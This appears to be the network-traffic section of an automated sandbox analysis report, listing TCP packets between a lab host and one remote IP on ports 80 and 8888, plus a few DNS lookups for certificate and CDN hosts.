Jan 10, 2025 17:40:05.668168068 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668190956 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668203115 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668215036 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668303013 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668427944 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668452024 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668463945 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668474913 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668486118 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668488026 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668499947 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668503046 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668512106 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668524027 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.668936968 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.668936968 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.671660900 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671674013 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671721935 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671732903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671745062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671765089 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.671765089 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.671806097 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.671892881 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671905041 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671916008 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671928883 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671951056 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671962023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671974897 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671986103 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.671998978 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672009945 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672023058 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672029972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672029972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672029972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672029972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672049046 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672060966 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672101021 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672101021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672101021 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672113895 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672152042 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672154903 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672164917 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672178984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.672199011 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.672231913 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.673827887 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700567007 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700579882 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700591087 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700674057 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700779915 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700790882 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700802088 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700819016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700870991 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700870991 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700882912 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700896025 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700906992 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700921059 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700931072 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700937986 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700949907 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.700958014 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700969934 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700987101 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.700999022 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.701041937 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.701054096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.701064110 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.701134920 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.701134920 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.701134920 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.721468925 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723200083 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723215103 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723228931 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723304033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723304033 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723309994 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723330975 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723344088 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723360062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723403931 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723403931 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723722935 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723735094 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723747969 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723769903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723783016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723805904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723825932 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723829985 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723843098 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723866940 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.723973989 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723987103 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.723999023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724010944 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724024057 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724060059 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724071980 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724086046 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724096060 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.724126101 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.724126101 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.724126101 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.724126101 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.724149942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.725872040 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.730370998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.757323980 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757335901 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757356882 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757370949 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757384062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757417917 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.757417917 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.757457972 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757469893 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757481098 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757575989 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.757575989 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.757843971 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757891893 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757904053 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757915974 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757986069 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.757997990 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758011103 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758054018 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758054972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758054972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758054972 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758080959 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758093119 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758100986 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758116961 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758162022 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758183002 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758239031 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758245945 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758251905 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758296013 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758306980 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758335114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758347034 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758358955 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758408070 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758408070 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758408070 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758444071 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758455038 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758469105 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758480072 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758486032 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758502007 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758552074 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758647919 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758661032 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758671999 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758690119 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758702040 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758740902 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758753061 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758764029 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758775949 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758812904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758812904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758812904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758812904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758867025 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758878946 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758891106 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758912086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758922100 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.758924961 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758935928 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758949995 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758960009 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.758972883 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759018898 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759018898 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759018898 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759018898 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759162903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759176016 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759187937 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759200096 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759212017 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759224892 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759232998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759232998 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759277105 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759310007 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759327888 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759339094 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759351015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759361982 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759454966 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759466887 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759476900 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759489059 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759500027 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759514093 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759525061 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759536028 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759541988 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759542942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759542942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759542942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759542942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759542942 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759548903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759740114 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759752035 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759763956 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759767056 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759778976 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759792089 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759792089 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759849072 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759860039 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759871006 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759881973 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759892941 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.759943008 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759943008 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.759943008 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.763139963 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791488886 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791532993 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791544914 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791598082 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791603088 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791614056 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791629076 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791661978 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791673899 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791675091 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791685104 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791695118 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791707039 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791712046 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791712046 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791766882 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791780949 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791794062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791805029 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791810989 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791817904 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791830063 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.791866064 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791866064 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.791877985 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.813951015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.813997030 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814008951 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814027071 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814033031 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814044952 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814099073 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814100027 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814100027 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814111948 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814124107 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814158916 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814410925 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814434052 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814445972 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814454079 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814483881 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814534903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814536095 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814547062 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814574003 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814584970 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814609051 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814609051 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814640999 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814654112 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814666033 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814707994 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814707994 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814738989 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814749956 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814764023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814778090 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814790964 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.814960957 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.814960957 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.843458891 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.848001957 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848026037 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848037004 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848097086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848108053 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848120928 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848145008 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.848145008 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.848172903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848176956 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.848182917 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848227978 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.848515034 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.848567963 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.879333973 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:06.031342030 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:06.587930918 CET	49776	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:06.592902899 CET	8888	49776	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:06.593003988 CET	49776	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:06.593147993 CET	49776	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:06.598022938 CET	8888	49776	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:07.395572901 CET	8888	49776	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:07.451066017 CET	49776	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:08.563332081 CET	49776	8888	192.168.2.11	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:40:15.692734003 CET	57778	53	192.168.2.11	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:40:15.692734003 CET	192.168.2.11	1.1.1.1	0xf607	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:40:15.699862957 CET	1.1.1.1	192.168.2.11	0xf607	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:40:16.561049938 CET	1.1.1.1	192.168.2.11	0xd764	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:16.561049938 CET	1.1.1.1	192.168.2.11	0xd764	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:43.630742073 CET	1.1.1.1	192.168.2.11	0xa439	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:43.630742073 CET	1.1.1.1	192.168.2.11	0xa439	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
